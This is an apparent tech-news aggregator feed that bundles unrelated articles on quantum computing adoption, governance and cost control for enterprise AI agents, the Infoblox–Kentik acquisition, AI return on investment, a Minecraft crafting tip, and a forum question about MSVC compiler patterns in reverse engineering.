<p>And even today, by <a href="https://www.networkworld.com/article/4144645/ibm-proposes-unified-architecture-for-hybrid-quantum-classical-computing.html" target="_blank">combining quantum computing with AI running on classical computers</a>, it’s possible to do interesting work. For example, simulating how well a compound will bind to a protein in real time is too big a problem for either AI or a quantum computer to handle on its own.</p>



<p>“But AI can do a good job identifying where in that large molecule are the particular spots where you need that extra layer of accuracy,” she says. “We use classical computing up front to identify these highest tier fragments and then zoom in to those fragments with the higher resolution that quantum can provide for better simulation.”</p>



<p>Mitsubishi Chemical has been experimenting with quantum computing since 2018, for quantum chemical calculations and optimization problems, and the technology works.</p>



<p>“We want to try to have it in production use by the end of this year, or maybe the beginning of next year,” says Qi Gao, distinguished scientist in the materials design laboratory of the <a href="https://www.linkedin.com/company/mitsubishi-chemical-america/posts/" target="_blank" rel="noreferrer noopener">Mitsubishi Chemical Corporation</a> Science and Innovation Center. The first use cases will be in advanced semiconductor materials, helping design new materials for computer chips.</p>



<p>“Two-nanometer chips require high energy resolution, which is impossible for classical computer simulations,” he says. “So, we have to use quantum computers.”</p>



<p>The plan is to simulate metal oxide, which is a photo-resistant material used in etching patterns into computer chips. This is a simulation that cannot be done classically, Gao says. It will take a couple of years to fully develop the algorithms to make it work, he says, but the industry is moving towards practical business use.</p>



<p>“Every company is looking at 2028, 2029, or 2030,” he says. “We think 2028 and 2029 will be very important years in quantum computing.”</p>



<p><a href="https://www.softbank.jp/en/" target="_blank" rel="noreferrer noopener">SoftBank Corp.</a> is looking at a similar timeframe for commercializing its quantum computing offerings. The company connects customers to IBM and <a href="https://www.quantinuum.com/" target="_blank" rel="noreferrer noopener">Quantinuum</a> machines at Riken through its AI data center, with 21 pilot projects now ongoing with pilot customers.</p>



<p>“Within our AI data center, we have already built the supercomputer level,” says <a href="https://www.linkedin.com/in/nobushige-oguri-2949525/" target="_blank" rel="noreferrer noopener">Nobushige Oguri</a>, director of the quantum business planning department of the quantum technology divisions at SoftBank Corp. “It’s a world-class supercomputer, but it’s just set up for processing AI. The quantum computer will be the new accelerator to enhance current AI capability.”</p>



<p>It’s this <a href="https://www.networkworld.com/article/4131660/ibm-research-when-ai-and-quantum-merge.html" target="_blank">hybrid use</a> of AI and quantum together that will accelerate adoption, he tells <em>Network World</em>. <a href="https://www.linkedin.com/in/juliette-peyronnet05/" target="_blank" rel="noreferrer noopener">Juliette Peyronnet</a>, U.S. general manager at <a href="https://alice-bob.com/" target="_blank" rel="noreferrer noopener">Alice &amp; Bob</a>, agrees that the hybrid approach is the best bet, with quantum computers augmenting today’s technology, not replacing it.</p>



<p>“Quantum processing units are very specialized devices,” she says. “They can’t solve your everyday problems. They’re really bad at doing basic math.”</p>



<p>Instead, just like the way that CPUs do the bulk of computing work and GPUs are used for AI-related tasks, quantum processors will be used to handle the challenges that traditional computers can’t tackle.</p>



<p>“We know that quantum computers are not going to work in isolation,” she says.</p>



<h2 class="wp-block-heading">A maturing ecosystem</h2>



<p>Another sign that quantum computing is starting to move out of the laboratory and into real-world use is the emergence of a quantum ecosystem, with multiple hardware and software providers filling in all the gaps.</p>



<p>“I’ve been 15 years in field, as a researcher and now as a CEO, and it’s been changing dramatically and accelerating very fast,” says <a href="https://www.linkedin.com/in/mpestarellas/" target="_blank" rel="noreferrer noopener">Marta Estarellas</a>, CEO at <a href="https://qilimanjaro.tech/" target="_blank" rel="noreferrer noopener">Qilimanjaro Quantum Tech</a>, a quantum computing company based in Spain that makes superconducting qubits. And, today, quantum computing companies no longer need to make every single component from scratch, she says.</p>



<p>“Now what you see are a lot of spinoffs and startups starting to build different layers of the supply chain,” she tells <em>Network World</em>. “Which is great. Players like ours don’t have to think about building the full stack and can delegate to third parties—and that really helps push forward the technology.”</p>



<p>The <a href="https://iqnhub.org/event/quantum-tech-2026/" target="_blank" rel="noreferrer noopener">Quantum Tech World conference</a> showcases this ecosystem, she says. According to conference organizers, more than 1,300 people attended this year, and there were more than one hundred sponsors. Among them were multiple quantum computer makers, including <a href="https://quantumcomputinginc.com/" target="_blank" rel="noreferrer noopener">Quantum Computing Inc.,</a> a maker of room-temperature photonic computers, which ran a real-time demo of a fraud detection algorithm that beat the best classical method and scales linearly with data set size instead of quadratically. There were also software companies, consulting firms, and other specialized providers.</p>



<p>“Our booth has been packed,” says <a href="https://www.linkedin.com/in/jason-silbergleit/" target="_blank" rel="noreferrer noopener">Jason Silbergleit</a>, head of Americas at <a href="https://www.classiq.io/" target="_blank" rel="noreferrer noopener">Classiq</a>, an orchestration software company that provides an abstraction layer that makes it easier for non-scientists to build quantum applications. “More and more users want to take advantage of the platform. Even in the past six months—three months—the amount of acceleration and interest is growing.”</p>



<p>“We’re shifting from very fundamental and exploratory, building one-off kinds of systems and devices, to making things that are scalable,” says <a href="https://quantumconsortium.org/speakers/celia-merzbacher/" target="_blank" rel="noreferrer noopener">Celia Merzbacher</a>, executive director at the <a href="https://quantumconsortium.org/speakers/celia-merzbacher/" target="_blank" rel="noreferrer noopener">Quantum Economic Development Consortium</a>. “And within a timeframe that private investors and end users are willing to start to engage.”</p>



<p>The momentum is apparent on a number of fronts, she tells <em>Network World</em>. Quantum companies are getting new rounds of investment, and governments are making commitments. </p>



<p>According to a <a href="https://quantumconsortium.org/publication/2026-state-of-the-global-quantum-industry-report/" target="_blank" rel="noreferrer noopener">report</a> her organization released in April, there are now 556 pure-play quantum companies and more than 7,000 “quantum-engaged” organizations. The quantum industry saw $1.9 billion in revenues in 2025, up 30% from the year before. There was also $12.7 billion in new government funding commitments last year, up more than 300% from 2024, and $4.9 billion in new private venture capital investment, an increase of nearly 200%.</p>



<p>“And the number of people who are really rolling up their sleeves and doing the work that needs to be done to advance the hardware and the software—I think there’s just a momentum that is quite visible,” she says.</p>
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<title><![CDATA[Three keys to deploying AI agents]]></title>
<description><![CDATA[Building an agent in an afternoon is now within reach of almost anyone in the enterprise with a credit card. The tools are accessible, the deployments are easy. The hard part is delivering the intended results.



Gartner predicts that more than 40% of agentic AI projects will be canceled by 2027...]]></description>
<link>https://tsecurity.de/de/3656433/ai-nachrichten/three-keys-to-deploying-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656433/ai-nachrichten/three-keys-to-deploying-ai-agents/</guid>
<pubDate>Thu, 09 Jul 2026 11:03:34 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Building an agent in an afternoon is now within reach of almost anyone in the enterprise with a credit card. The tools are accessible, the deployments are easy. The hard part is delivering the intended results.</p>



<p>Gartner predicts that more than <a href="https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027">40% of agentic AI projects will be canceled</a> by 2027, and the <a href="https://artificialintelligenceact.eu/article/14/">EU AI Act Article 14</a> requirements for human oversight for high-risk AI systems take effect on August 2, 2026. The deciding factor for whether agentic AI reaches production isn’t the model, the framework, or the use case. It’s the infrastructure beneath the agent: the part the people building agents have never had to think about.</p>



<p>Organizations are racing to deploy agentic AI to stay competitive, which means pressure-testing is often overlooked. Every agent project should be scrutinized by three executives asking three different sets of questions. The CISO asks whether we are exposed. The CFO asks whether we are overspending. The chief AI officer asks whether we are getting value. </p>



<p>As a product leader focused on AI governance, I see this pattern across customer environments. Three architecture layers answer those three questions: identity, observability, and cost optimization. I’ll walk through each of the layers and provide a four-question diagnostic for the next production push.</p>



<h2 class="wp-block-heading">Why AI pilots stall</h2>



<p>An agent is not a faster chatbot. It chains dozens of steps, calls external tools, retains state across sessions, and triggers real-world actions. Most inherit the credentials of whoever deployed them. They operate at machine speed without context for the consequences of each step.</p>



<p>The mismatch is not a competence gap on the human side. It is a time-horizon gap. An engineer reasons about a database change over hours. An agent triggers a hundred of them before anyone reviews the first. Traditional audit logging captures request and response. That does not catch this pattern.</p>



<p>When something breaks, the cost is rarely the incident. It is the months of stalled deployment that follow. The risk committee freezes pilots. The productivity gains the program was supposed to deliver never materialize. Finance still gets the API bill. Three architecture layers decide whether a deployment survives that pattern. Each one is the answer to a question the people building agents never had to ask.</p>



<h2 class="wp-block-heading">Layer 1: Identity for non-human actors</h2>



<p>Start with identity. The default failure looks routine: a product manager with broad API access spawns an agent that inherits the full scope of those credentials and runs at machine speed across systems no one inventoried.</p>



<p>The scale is bigger than most teams realize. <a href="https://www.signisys.com/blog/non-human-identities-outnumber-users-100-to-1-the-cloud-security-crisis-no-one-is-talking-about/">Industry IAM research</a> puts non-human identities at more than 100 to 1 versus human accounts, with <a href="https://www.cybersecuritytribe.com/news/research-reveals-44-growth-in-nhis-from-2024-to-2025">some 2026 surveys</a> putting the ratio as high as 144 to 1. A <a href="https://www.orchid.security/reports/the-identity-gap-2026-snapshot-identity-insight-straight-from-the-source">May 2026 Identity Gap Report</a> found two-thirds are unseen and unmanaged.</p>



<p>Agents are moving from human identities with their “owners”’ permissions to first-class principals. They are purpose-bound, cryptographically attested, and scoped to one task at a time. Google’s Agent Identity, built on SPIFFE, is one early example. The production pattern has three properties. Credentials are issued per agent task. Token lifetime is measured in minutes to hours, not weeks. Scope is narrowed to the specific tools and data classes the task requires, and the credential revokes automatically on task completion.</p>



<p>If a single static credential is good for a week and 50 different tasks, you are not running agentic AI. You are running a service account with extra steps.</p>



<h2 class="wp-block-heading">Layer 2: Observability that serves all three executives</h2>



<p>Identity controls what an agent can do. Observability shows what it’s actually doing. One instrumentation layer, three views.</p>



<p>First, the security view. Traditional logging captures request and response, which assumes one human action per logged event. An agent’s unit of work is a chain. Pick a tool, call it, read the result, decide the next step. Twenty steps, some of them writing to production. Instrument every step as a durable audit object, independently queryable. Understand which tool was invoked, what data was accessed, what policy applied, and what the agent reasoned to justify the next step. That’s what Article 14 oversight requires for production.</p>



<p>Second, the business-outcomes view. Audit objects answer the CISO. The chief AI officer asks a different question. Is the agent accomplishing what we deployed it for, or burning compute on a tangent? An agent can run 200 tool calls, generate clean audit logs, and produce nothing. It might be looping on a sub-goal that drifted three steps back. Observe each step against the declared business purpose: on-task ratio, sub-goal coherence, progress markers. Project management telemetry for a non-human worker.</p>



<p>Third, the cost view. The same per-step instrumentation produces cost telemetry: token count per step, model per call, context size per turn, downstream tool-call costs. Without that attribution, the next section’s optimizations are blind.</p>



<p>A busy agent and a productive agent look identical in the security log. They look identical on the bill too. The difference shows up only when all three views run from the same instrumentation.</p>



<h2 class="wp-block-heading">Layer 3: Cost optimization</h2>



<p>Cost is where the architecture pays back. Gartner’s March 2026 analysis put <a href="https://www.gartner.com/en/newsroom/press-releases/2026-03-25-gartner-predicts-that-by-2030-performing-inference-on-an-llm-with-1-trillion-parameters-will-cost-genai-providers-over-90-percent-less-than-in-2025">agentic workloads at five to 30 times the token cost per task</a> of a standard chatbot. The FinOps Foundation’s 2026 State of FinOps report found that <a href="https://data.finops.org/">73% of organizations exceeded their original AI budget projections</a>. Three failure modes drive that overrun.</p>



<p>First, using the wrong model. Agents default to the most capable one available. They call a frontier model for tasks a smaller one could handle with identical quality: summarizing a transcript, formatting JSON, classifying a ticket. The <a href="https://proceedings.iclr.cc/paper_files/paper/2025/hash/5503a7c69d48a2f86fc00b3dc09de686-Abstract-Conference.html">RouteLLM paper at ICLR 2025</a> demonstrated that intelligent routing cuts total LLM inference cost 40% to 80% with no measurable quality loss on routine work. Move model selection from a per-developer choice to a per-policy layer.</p>



<p>Second, running in loops. Agents can spend without limit if no one is watching. A widely-cited 2026 incident saw a <a href="https://dev.to/dingdawg/how-an-ai-agent-ran-up-a-47000-bill-in-11-days-and-how-to-stop-it-1fk">LangChain multi-agent system run an infinite loop for 11 days and burn $47,000 in API charges</a>. Per-session token ceilings, <a href="https://fountaincity.tech/resources/blog/ai-agent-cost-circuit-breaker/">loop-detection circuit breakers</a> that flag tool calls highly similar to prior calls, and hard daily caps stop this before it generates the bill. In our deployments, a <a href="https://www.supra-wall.com/en/learn/ai-agent-runaway-costs">three-tier cost structure</a> catches the bulk of runaway patterns: a $50 daily soft alert, a $100 daily hard cutoff forcing routing to cheaper models, and a $1,000 monthly ceiling requiring manager approval.</p>



<p>Third, re-paying for the same context on every step. Every step re-sends the accumulated system prompt and conversation history. By step 20 the agent has paid for that context 20 times. <a href="https://www.vantage.sh/blog/agentic-coding-costs">Vantage’s 2026 analysis of agentic coding sessions</a> found re-sent context accounts for roughly 62% of the average agent’s bill, the biggest single optimization target in agentic workloads. Three patterns help: anchored summarization at phase boundaries, sliding context windows, and provider-native prompt caching at the gateway. Most agents skip caching entirely, though <a href="https://platform.claude.com/docs/en/build-with-claude/prompt-caching">Anthropic</a> prices cached input at roughly 10% of base, <a href="https://developers.googleblog.com/en/gemini-2-5-models-now-support-implicit-caching/">Gemini</a> at 10% to 25%, and <a href="https://openai.com/index/api-prompt-caching/">OpenAI</a> at 50%.</p>



<p>Governing agent cost means seeing every call, every model, every token attributed to the agent and the business purpose. Then act on it. Token counts without business attribution tell you how many gallons of gas you burned, not where you drove.</p>



<h2 class="wp-block-heading">The deployment velocity payoff</h2>



<p>The three layers serve the three executive questions. Identity gates what the agent can do. Observability shows what it is doing. Cost optimization controls what it spends.</p>



<p>The honest counterargument is that governance always slows deployment. That is true when governance is bolted on as approval gates layered over an agent that wasn’t built with observability or per-task identity. It is false when governance is built into the architecture from day one. Teams that experience governance as a brake installed the brake without the steering wheel.</p>



<p>Governance built right still costs something. Per-task credentials add work on every tool call. Observability infrastructure adds compute. The question is whether that cost beats the alternative.</p>



<p>The layers compound. Identity without observability is theoretical. Observability without cost control is descriptive. Without identity at the bottom, cost control becomes caps without context, forever reactive. All three together produce a governance review that runs in weeks, not quarters, because the data each executive needs already exists. In our experience, organizations with that infrastructure can deploy six workflows to production in the time competitors complete one governance review. The real ROI of agentic AI is not how much faster a single workflow runs. In practice, it’s how many workflows your team can defensibly put into production in a year.</p>



<h2 class="wp-block-heading">Before the next pilot</h2>



<p>Here are four questions to run against any agent your team is about to push to production:</p>



<ol class="wp-block-list">
<li>Identity. For each agent in production, can you point to the per-task credentials it uses today, and the maximum scope of any single token?</li>



<li>Observability. For any agent session, can you produce three views from the same instrumentation: the audit object per step, the on-task ratio versus tangents, and the per-step cost broken down by model and context size?</li>



<li>Cost optimization. Does your platform automatically route by model, cap runaway loops, and avoid re-sending the same context every step?</li>



<li>Velocity. How long does it take a new agent workflow to move from approved pilot to production in your environment today?</li>
</ol>



<p>If the answer is months, the architecture above is the gap. Gartner’s 40% stat is about your next pilot.</p>



<p><em>—</em></p>



<p><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[Why the next generation of MSPs will be built around infrastructure intelligence]]></title>
<description><![CDATA[MSPs must evolve from reactive support providers to strategic partners delivering infrastructure intelligence and insight-driven optimization]]></description>
<link>https://tsecurity.de/de/3656206/it-security-nachrichten/why-the-next-generation-of-msps-will-be-built-around-infrastructure-intelligence/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656206/it-security-nachrichten/why-the-next-generation-of-msps-will-be-built-around-infrastructure-intelligence/</guid>
<pubDate>Thu, 09 Jul 2026 09:08:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[MSPs must evolve from reactive support providers to strategic partners delivering infrastructure intelligence and insight-driven optimization]]></content:encoded>
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<title><![CDATA[How to Make Glass in Minecraft – Step-by-Step Crafting Guide]]></title>
<description><![CDATA[If you want to know how to make glass in Minecraft, the process is straightforward. Glass is an easy-to-craft block that works well as a building material, though it is not blast-resistant. It’s great as an aesthetic block and you can use it to craft a few useful things like a beacon or a glass [...]]></description>
<link>https://tsecurity.de/de/3655836/betriebssysteme/how-to-make-glass-in-minecraft-step-by-step-crafting-guide/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655836/betriebssysteme/how-to-make-glass-in-minecraft-step-by-step-crafting-guide/</guid>
<pubDate>Thu, 09 Jul 2026 04:53:57 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>If you want to know how to make glass in Minecraft, the process is straightforward. Glass is an easy-to-craft block that works well as a building material, though it is not blast-resistant. It’s great as an aesthetic block and you can use it to craft a few useful things like a beacon or a glass […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/windows-tips/how-to-make-glass-in-minecraft/">How to Make Glass in Minecraft – Step-by-Step Crafting Guide</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<title><![CDATA[MSVC optimization]]></title>
<description><![CDATA[I am learning reverse engineering on Windows applications such as Adobe, Foxit PDF, and Steam, and I noticed that I waste a very large amount of time trying to understand something that I should not focus on. I started noticing strange and confusing patterns in the assembly and the C code generat...]]></description>
<link>https://tsecurity.de/de/3655762/malware-trojaner-viren/msvc-optimization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3655762/malware-trojaner-viren/msvc-optimization/</guid>
<pubDate>Thu, 09 Jul 2026 04:03:13 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I am learning reverse engineering on Windows applications such as Adobe, Foxit PDF, and Steam, and I noticed that I waste a very large amount of time trying to understand something that I should not focus on.</p> <p>I started noticing strange and confusing patterns in the assembly and the C code generated by IDA, and when I try to understand some functions, I feel that the function has no meaning.</p> <p>When I searched, I found that this topic is related to the compiler and compiler optimizations. However, I could not find many articles or discussions about the compiler topic in reverse engineering.</p> <p>So I started experimenting and trying, but every time I fail and cannot reach a solution or understanding.</p> <p>Apart from the fact that reverse engineering a C++ program is already a difficult task.</p> <p>If there is someone who has faced the same problem and found a solution, I would like to know. It is not a problem itself; it is a pattern or a way of thinking used by the compiler. I need to understand how the compiler generates these patterns.</p> <p>I want someone to suggest books, articles, courses, or anything that can help me understand the MSVC compiler, how it generates patterns, and how to understand the behavior and logic of a function after compiler optimization.</p> <p>I hope I explained my question correctly.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/No-Meeting-153"> /u/No-Meeting-153 </a> <br> <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uph2v9/msvc_optimization/">[link]</a></span>   <span><a href="https://www.reddit.com/r/ExploitDev/comments/1uph2v9/msvc_optimization/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Infoblox acquires Kentik, adding network observability to its DNS and DDI platform]]></title>
<description><![CDATA[Infoblox announced today that it has entered into a definitive agreement to acquire Kentik, combining Infoblox’s authoritative DNS, DHCP, and IP address management (IPAM) data with Kentik’s network observability platform. Financial terms were not disclosed.



Kentik was founded in 2014, original...]]></description>
<link>https://tsecurity.de/de/3654977/it-security-nachrichten/infoblox-acquires-kentik-adding-network-observability-to-its-dns-and-ddi-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654977/it-security-nachrichten/infoblox-acquires-kentik-adding-network-observability-to-its-dns-and-ddi-platform/</guid>
<pubDate>Wed, 08 Jul 2026 19:23:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p><a href="https://www.infoblox.com/" target="_blank" rel="noreferrer noopener">Info</a><a href="https://www.infoblox.com/">blox</a> announced today that it has entered into a definitive agreement to acquire <a href="https://www.kentik.com/" target="_blank" rel="noreferrer noopener">Kentik</a>, combining Infoblox’s authoritative DNS, DHCP, and IP address management (IPAM) data with <a href="https://www.networkworld.com/article/1302440/kentik-boosts-observability-platform-with-genai.html" target="_blank">Kentik’s network observability platform</a>. Financial terms were not disclosed.</p>



<p>Kentik was founded in 2014, originally as CloudHelix before rebranding the following year, and has raised more than $100 million in venture funding to date. The platform provides real-time visibility into network traffic and ingests flow data, routing intelligence, and device telemetry across data centers, cloud environments, WANs, and the public internet. In recent years, the company has enhanced its platform with an<a href="https://www.networkworld.com/article/4092276/kentik-bolsters-network-observability-platform-with-autonomous-investigation.html" target="_blank"> AI advisor</a> that helps to accelerate investigations.</p>



<p><a href="https://www.networkworld.com/article/4083475/infoblox-bolsters-universal-ddi-platform-with-multi-cloud-integrations.html" target="_blank">Infoblox</a> has spent more than two decades managing the DNS, DHCP, and IPAM services enterprises rely on to stay connected. In 2024, it first launched its<a href="https://www.networkworld.com/article/3540282/infoblox-tackles-integrated-ddi-across-multi-cloud-environments.html" target="_blank"> Universal DDI</a> SaaS platform for managing DNS, DHCP, and IP addresses from a single place,<a href="https://www.networkworld.com/article/4083475/infoblox-bolsters-universal-ddi-platform-with-multi-cloud-integrations.html" target="_blank"> expanding in 2025</a> to more providers. DDI refers to the trio of core network services in IP networks: DNS, which turns domain names into IP addresses; DHCP, which assigns IP addresses to resources; and IPAM, which manages the network’s IP address infrastructure.</p>



<p>Infoblox and Kentik each had something the other one was missing.</p>



<p>“We know every device, every application across the hybrid multi cloud state, we know because we handed out the IPs, or we have acquired those assets,” <a href="https://www.linkedin.com/in/mukesh77/" target="_blank" rel="noreferrer noopener">Mukesh Gupta</a>, chief product officer at Infoblox, told <em>Network World</em>. “We know what is on the network. We don’t know who is talking to who.”</p>



<h2 class="wp-block-heading">The path to acquisition<strong></strong></h2>



<p>“We’ve been talking for a few years,” <a href="https://www.linkedin.com/in/avifreedman/" target="_blank" rel="noreferrer noopener">Avi Freedman</a>, co-founder and CEO of Kentik, told<em> Network World</em>.</p>



<p>Both Gupta and Freedman said the companies have discussed working together for several years, driven largely by customers who use both platforms and asked the two vendors to integrate them directly.</p>



<p>“We’ve gone from very internet-centric companies to some of the largest enterprises in the world, and guess who they use for all of their core sources of truth,” Freedman said. “So, our customers have been saying, hey, you have this great platform that can take all this enrichment, and we need you to be doing this kind of integration.”</p>



<p>For Infoblox, the situation was similar. Gupta noted that some of the problems his company was trying to solve require <a href="https://www.networkworld.com/article/972187/how-to-shop-for-network-observability-tools.html" target="_blank">network flow information</a>, which Kentik provides.</p>



<p>“We have a lot of common customers, and they were like, ‘Can you bring these platforms together?’” Gupta said.</p>



<h2 class="wp-block-heading">What the integration will enable<strong></strong></h2>



<p>The combination of the two companies’ technologies will bring more capabilities to users.</p>



<p>One specific example cited by Gupta has to do with the company’s Infoblox IQ, an agentic operations layer that was announced in June 2026, One of its existing capabilities, called IQ Actions, is designed to detect problems and begin investigating them automatically, before a customer notices an issue.</p>



<p>The system monitors DNS and DHCP metrics for anomalies, then automatically collects related data and analyzes it using large language models before an operator opens the ticket.</p>



<p>“We throw that data into LLMs and see if they can figure out what the root cause is, and come up with a recommendation, so all of that happens completely automatically,” Gupta said.</p>



<p>What Kentik would add to that workflow is flow data. Combining Infoblox’s DNS-based threat intelligence with Kentik’s flow data could extend the same kind of automatic investigation into security incidents. DNS data can identify devices communicating with a command and control server. Flow data can then show where those devices connected next inside the network.</p>



<p>“With flow data, we can draw that blast radius and tell customers proactively what the issue is and what the exposure is,” Gupta said.</p>



<p>Kentik’s own AI Advisor is moving in a similar direction, from answering direct questions to carrying out tasks on its own. The combination with DDI information will help to support that vision.</p>



<p>“What we’ve been working on is making it proactive, so basically operating Kentik for you, doing your networking tasks, all your planning, capacity optimization, troubleshooting,” Freedman said. </p>



<p>Freedman traced that same logic back to why the deal made sense in the first place.</p>



<p>“We can actually build an amazing platform together, which customers are actually asking for, which is always the best way to build a business,” he said.</p>
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<title><![CDATA[The AI ROI gap isn’t a model problem. It’s a workflow problem]]></title>
<description><![CDATA[Anthropic says Claude now writes more than 80% of the code merged at one of the most sophisticated AI companies on the planet. Foundry’s 2026 State of the CIO study says fewer than one in five enterprises can show that their AI initiatives have met or exceeded their ROI goals. Both numbers came o...]]></description>
<link>https://tsecurity.de/de/3653733/it-nachrichten/the-ai-roi-gap-isnt-a-model-problem-its-a-workflow-problem/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653733/it-nachrichten/the-ai-roi-gap-isnt-a-model-problem-its-a-workflow-problem/</guid>
<pubDate>Wed, 08 Jul 2026 11:02:59 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p><a href="https://www.anthropic.com/institute/recursive-self-improvement" rel="nofollow">Anthropic says</a> Claude now writes more than 80% of the code merged at one of the most sophisticated AI companies on the planet. Foundry’s <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">2026 State of the CIO study</a> says fewer than one in five enterprises can show that their AI initiatives have met or exceeded their ROI goals. Both numbers came out this spring. Both are true. And the distance between them is the most important thing an IT leader can understand about AI right now.</p>



<p>Because that distance isn’t a contradiction, it’s a lesson. And the profession sitting in the middle of it, software engineering, is the canary that explains why so much enterprise AI spend has produced so little measurable return.</p>



<h2 class="wp-block-heading">The report everyone misread</h2>



<p>When Anthropic published its recursive self-improvement piece, plenty of people read it as the starting gun for the job apocalypse. Claude writing its own code, models getting better at building models, humans narrowing toward oversight. If you wanted a headline about the end of the software profession, it was right there.</p>



<p>I read it almost the opposite way. What struck me wasn’t how far AI had come. It was how much had to be true first, even in the one profession built from the ground up to let it succeed.</p>



<p>I made this argument back in my <a href="https://www.cio.com/article/4166029/the-570k-canary-what-ai-coding-agents-reveal-about-enterprise-ais-real-gaps.html">“$570K canary” piece</a>, and the Anthropic data only sharpens it. AI coding agents don’t work because coding models are special. The underlying large language models (LLMs) are the same ones answering support tickets and reviewing contracts. They work because software development already had the infrastructure that makes an agent’s output trustworthy: governance baked into branch protection and code review, observability through version control and CI/CD pipelines, evaluation through automated tests, persistent context through commit history. Developers built all of that for themselves over decades. They didn’t build it for AI. But it turned out to be exactly the scaffolding AI needed.</p>



<p>That’s the part the apocalypse reading skips. Claude’s coding gains are real. They also rode on decades of pre-built substrate. Both things are true at once, and the second one is the one CIOs should be paying attention to when it comes to gains from things like recursive self-improvement.</p>



<h2 class="wp-block-heading">What the CIO data actually shows</h2>



<p>Now hold that next to the State of the CIO numbers. Only 19% of the 662 IT leaders surveyed say their AI initiatives have met or exceeded business goals. Another 18% admit fewer than a third of their use cases are hitting defined expectations.</p>



<p>The easy explanation is that the technology isn’t ready. The data says otherwise. This isn’t for lack of trying, and it isn’t for lack of organizing. Eighty-three percent of respondents have stood up cross-functional steering committees or are about to. Just over half have some form of AI approval process in place, with another quarter building one. Forty-seven percent have formal success metrics, with a third more on the way. The field is pouring effort into the organizational machinery of AI. The ROI still isn’t showing up.</p>



<p>Here’s why I think that is. All of that machinery sits above the work. Steering committees, approval gates and KPI dashboards govern the org chart. But the value, or the leak, happens inside the workflow, at the level of the actual task the AI is doing. You can instrument your governance structure perfectly and still have nothing measuring whether the agent’s output was right at the point where it mattered.</p>



<p>TIAA shows how little the org chart settles. The firm is three years in, runs generative and agentic use cases across fraud detection and call centers, and has 85% of its people on TIAA Gate, its internal platform. It also has the full governance stack most CIOs are still assembling. None of it closed the gap. “You need to understand the full cost of operations,” its chief operating, information and digital officer, Sastry Durvasula told CIO.com, “the efficiencies of running tokens or how you’re handling traffic or RAG.” The structures were never the thing leaking value. The workflow underneath them was.</p>



<p>The barriers respondents named back this up. The top three are lack of in-house expertise (40%), ill-defined ROI metrics (32%) and murky corporate AI strategy (31%). Not one of them is “the model isn’t good enough.” And according to the full Foundry report, the expertise gap is deepest in healthcare (52%), retail (51%) and manufacturing (49%), the sectors whose core work looks least like a software development lifecycle. That’s consistent with substrate being the real variable, though a tighter market for AI talent in those industries is surely part of the story too.</p>



<h2 class="wp-block-heading">The market is already voting</h2>



<p>Look at where the AI is actually being pointed, and you’ll see enterprises sequencing by substrate even though nobody’s calling it that. Three-quarters of both IT leaders and line-of-business respondents say AI is primarily being used to automate internal processes rather than customer-facing applications.</p>



<p>That’s not timidity. It’s instinct pointing at the right thing. Internal processes are the ones with structured, observable workflows and users who tolerate a little friction. Customer-facing work is where the trust gaps are still wide open and the cost of a wrong answer is asymmetric. A bad internal draft gets fixed before anyone sees it. A bad customer answer is the whole ballgame.</p>



<p>I’ll be honest about a wrinkle in the data here, because a careful reader will catch it. The same study reports a near-mirror finding, that 66% to 69% of respondents say the bulk of their current AI work is customer-facing. The two stats sit a paragraph apart in the CIO study and almost certainly reflect how the question was framed rather than a real reversal. But the synthesis holds either way: even where customer-facing work is being attempted, it’s where ROI is least realized. The work that lands is the work with the substrate underneath it. The split only reinforces the point.</p>



<h2 class="wp-block-heading">Sequence by readiness, not by ambition</h2>



<p>So, here’s the prescription, and it cuts against the instinct most AI strategies are built on. Stop sequencing your AI portfolio by where the value looks biggest. Start sequencing it by where the work already has, or can be given, a structured workflow with a usable signal for whether the output was right.</p>



<p>The study itself shows what the alternative looks like. Andrea Ballinger, CIO at Rensselaer Polytechnic Institute, described the trap precisely. No one measures ROI on an ongoing basis, she said, “because we are facing counterpressures from every vice president and line-of-business domain looking to implement AI for their own optimization.” The result: “We are saying yes to everyone without stepping back and focusing on the business cases that show real value.” That’s value-led sequencing under pressure from every budget-holder in the building, and it’s exactly how you end up with a sprawling pipeline of pilots and a 19% success rate.</p>



